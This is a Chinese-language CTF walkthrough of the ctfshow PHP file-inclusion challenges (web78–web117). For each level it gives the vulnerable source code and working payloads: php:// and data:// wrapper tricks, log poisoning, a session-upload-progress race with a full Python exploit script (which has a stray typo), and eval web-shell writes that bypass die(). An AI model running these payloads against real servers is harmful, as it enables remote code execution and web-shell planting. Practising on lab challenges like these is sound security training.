1. 程式人生 > 其它 >ctfshow web入門檔案包含

ctfshow web入門檔案包含

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

用PHP偽協議php://filter來構造

原始碼中的include函式,這個表示從外部引入php檔案並執行,如果執行不成功,就返回檔案的原始碼。
這是一個file關鍵字的get引數傳遞,php://是一種協議名稱,php://filter/是一種訪問本地檔案的協議,/convert.base64-encode/表示讀取的方式是base64編碼後,resource=flag.php表示目標檔案為flag.php。

payload:

?file=php://filter/convert.base64-encode/resource=flag.php

web79


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

有一個替代函式str_replace,所以上一個的payload不能用了

方法1:

?file=Php://input

<?php
system("tac flag.php");
?>

方法2

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

這個要檢視原始碼

web80


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

這一次又把data給過濾了

法1

與上一題的方法1類似

?file=Php://input

<?php
system("ls");//檢視目錄
?>
?file=Php://input

<?php
system("tac fl0g.php");
?>
data:text/plain,<?php system(‘命令’);?> 
?file=data:text/plain,<?pHp system('ls');?>

法2

包含日誌檔案 進行getshell 日誌檔案路徑: ?file=/var/log/nginx/access.log

訪問並抓包

<?php+system('ls');?>
<?php system('cat fl0g.php');?>

發現裡面有兩個檔案fl0g.php和index.php

知識點:

訪問日誌檔案記錄了伺服器收到的每一次請求的
IP、訪問時間、URL、User-Agent,這4項中的前兩項的值都是我們無法控制的,我們只能在自己可以控制的欄位上做手腳,其中URL欄位由於URL編碼的存在,空格等一些符號無法包含其中,而User-Agent則不會被進行任何二次處理,我們發什麼內容,伺服器就將其原封不動的寫入日誌。

訪問日誌的位置和檔名在不同的系統上會有所差異

apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

web81

這樣

裡面有fl0g.php,上一題也可以這麼做

shell=system('tac fl0g.php');

web82-86

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

把.也過濾了,所以需要構造一個不含.的檔案

大佬的wp

https://www.freebuf.com/vuls/202819.html

session配置(前提):

session.upload_progress.enabled = on
upload_progress功能開始,也意味著當瀏覽器向伺服器上傳一個檔案時,php將會把此次檔案上傳的詳細資訊(如上傳時間、上傳進度等)儲存在session當中

session.upload_progress.cleanup = on
當檔案上傳結束後,php將會立即清空對應session檔案中的內容,這個選項非常重要;

session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
name當它出現在表單中,php將會報告上傳進度,最大的好處是,它的值可控

session.upload_progress.prefix = “upload_progress_”
prefix+name將表示為session中的鍵名

session.use_strict_mode=off
這個選項預設值為off,表示我們對Cookie中sessionid可控。這一點至關重要,下面會用到
linux系統中session檔案一般的預設儲存位置為 /tmp 或 /var/lib/php/session

在預設情況下,session.upload_progress.cleanup是開啟的,一旦讀取了所有POST資料,它就會清除進度資訊,所以我們要利用條件競爭來進行解題
條件競爭 是指一個系統的執行結果依賴於不受控制的事件的先後順序。當這些不受控制的事件並沒有按照開發者想要的方式執行時,就可能會出現 bug。尤其在當前我們的系統中大量對資源進行共享,如果處理不當的話,就會產生條件競爭漏洞。
利用PHP_SESSION_UPLOAD_PROGRESS進行檔案包含

1.簡單來說,上面這個選項開啟以後,上傳檔案,我們能夠POST請求檢視上傳進度
2.我們在session中寫入我們要執行的程式碼
3.使用者可以自己定義Session ID,比如在Cookie裡設定PHPSESSID=flag,PHP將會在伺服器上建立一個檔案:/tmp/sess_flag,我們能夠命名'sess_'後面的名字
4.之後要執行就要包含這個session檔案
5.預設情況下,session.upload_progress.cleanup是開啟的,一旦讀取了所有POST資料,就會清除進度資訊
6.於是我們需要條件競爭來讀取檔案,所謂條件競爭簡單來說是在執行系統命令前先執行完自己的程式碼,在檔案上傳中很常見

我們需要寫一個POST頁面

<!DOCTYPE html>
<html>
<body>
<form action="http://668ba926-9165-49e7-92fb-c94a08d54feb.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

隨便傳一個檔案就行,然後需要把Cookie改了,Cookie :PHPSESSID=flag,會在伺服器上建立一個檔案:/tmp/sess_flag,然後我們在PHP_SESSION_UPLOAD_PROGRESS下新增我們的執行程式碼

再傳參?file=/tmp/sess_flag,抓包

然後將這兩個的有效載荷改了,如圖

先爆第一個post的包,在爆第二個get的包

爆出來,檢視響應,發現裡面有一個fl0g.php

爆破即可得到flag

詳細解析:

https://blog.csdn.net/qq_44657899/article/details/109281343

補充一個通殺指令碼,可以試試(多執行緒指令碼)

import io
import requests
import threading

sessid = 'flag'
url = 'http://873190e1-396b-43bb-b91e-24c0e7eaeec3.challenge.ctf.show:8080/'

def write(session):a
    while event.isSet():
        f = io.BytesIO(b'a'*1024*50)
        response = session.post(
            url,
            cookies = {'PHPSESSID':sessid},
            data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php")?>'},
            files = {'file':('texe.txt',f)}
        )

def read(session):
    while event.isSet():
        response = session.get(url+'?file=/tmp/sess_{}'.format(sessid))
        if 'text' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]wait.....')

if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()

event.set()#將event的標誌設定為True,呼叫wait方法的所有執行緒將被喚醒;
event.clear()#將event的標誌設定為False,呼叫wait方法的所有執行緒將被阻塞;
event.isSet()#判斷event的標誌是否為True。

web87

原始碼:


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}
先程式碼分析,主要傳入兩個引數,一個post一個get,過濾了php  data  :  .  
file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);
因為urldecode($file),所以我們在傳入時要對file傳入的東西進行二次編碼
因為有die(與exit意思一樣),導致即使我們成功寫入一句話,也執行不了(這個過程在實戰中十分常見,通常出現在快取、配置檔案等等地方,不允許使用者直接訪問的檔案,都會被加上if(!defined(xxx))exit;之類的限制),所以我們要繞過他
這個<?php exit; ?>實際上是一個XML標籤,既然是XML標籤,我們就可以利用strip_tags函式去除它,而php://filter剛好是支援這個方法的。
$file是我們我們可控的協議流,我們使用base64編碼,在解碼時去掉退出程式碼中不支援的字元,變為phpdie,在後面加上aa使得能正常解碼phpdieaa(base64編碼解碼特性,4位元組一組)

姿勢:

aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
base64編碼:<?php @eval($_POST[a]);?>
%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2531%252E%2570%2568%2570
這是對php://filter/write=convert.base64-decode/resource=1.php進行了2次url編

先把內容寫入

意思是把content的內容寫到了1.php中,沒有返回值,說明上傳成功

然後直接訪問1.php,並POST引數a進行命令執行

參考部落格:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#_1
https://www.cnblogs.com/echoDetected/p/13976405.html

web88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

data協議可以用

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4

PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4=  
<?php system('tac fl0g.php'); ?>

web116

現在kali下binwalk一下,檢視隱藏檔案,在dd分離出原碼圖片

雖然過濾了很多,但可以直接傳參構造payload:

?file=flag.php
或?file=compress.zlib:///var/www/html/flag.php

傳參後下載視訊就可以得到flag,或者抓包也能得到

web117

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

與web87類似

死亡繞過不同變數,但是這裡把rot13和base64過濾了,所以考慮除這兩種以外的方式繞過。

convert.iconv.:一種過濾器,和使用iconv()函式處理流資料有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):將字串 $str 從in_charset編碼轉換到 $out_charset
這裡引入usc-2的概念,作用是對目標字串每兩位進行一反轉,值得注意的是,因為是兩位所以字串需要保持在偶數位上

沒有ban php 所以可以直接用

payload:

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
post:contents=?<hp pvela$(P_SO[T]1;)>